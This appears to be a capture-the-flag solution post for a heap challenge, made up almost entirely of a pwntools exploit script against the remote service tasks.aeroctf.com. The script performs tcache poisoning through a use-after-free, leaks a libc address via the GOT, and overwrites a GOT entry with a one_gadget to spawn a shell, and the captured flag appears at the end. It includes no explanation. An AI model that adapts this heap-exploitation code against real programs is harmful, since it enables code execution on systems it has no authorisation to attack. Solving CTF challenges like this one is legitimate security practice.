Tags: heap tcache
Rating:
```python
from pwn import *
r = remote("tasks.aeroctf.com", 33087)
def sell(ns,name,cost,hc = False,cs = 0,comment = ""):
r.sendlineafter("> ","1")
r.sendlineafter("name size: ",str(ns))
r.sendafter("name: ",name)
r.sendlineafter("cost: ",str(cost))
if not hc :
r.sendlineafter("]: ","N")
return
r.sendlineafter("]: ","Y")
r.sendlineafter("size: ",str(cs))
r.sendafter("Comment: ",comment)
def delete(id):
r.sendlineafter("> ","2")
r.sendlineafter("id: ",str(id))
def view(id):
r.sendlineafter("> ","4")
r.sendlineafter("id: ",str(id))
def change(id,name):
r.sendlineafter("> ","5")
r.sendlineafter("id: ",str(id))
r.sendafter("name: ",name)
r.sendlineafter("name: ","lys")
sell(0x10,'a'*0x10,87)
change(0,'b'*0x10)
delete(0)
#r.interactive()
change(0,p64(0x4040E0))
sell(0x10,'a'*0x10,87,True,0x10,p64(0x404020))
view(0)
r.recvuntil("Name: ")
res = r.recvline()[:-1]
#print(res)
#print(len(res))
puts = u64(res.ljust(8,'\x00'))
#print(hex(puts))
libc = puts-0x74040
one_gadget = libc+0xe664b
print(hex(libc))
sell(0x20,'a'*0x10,87)
change(1,'b'*0x10)
delete(1)
#r.interactive()
change(1,p64(0x404028))
sell(0x20,'a'*0x10,87,True,0x20,p64(one_gadget))
r.interactive()
#Aero{13f96a24f185f0862ea1ecd88c854b12d5a4b7ba85b43dc42e0bb2d187a2ef9b}
```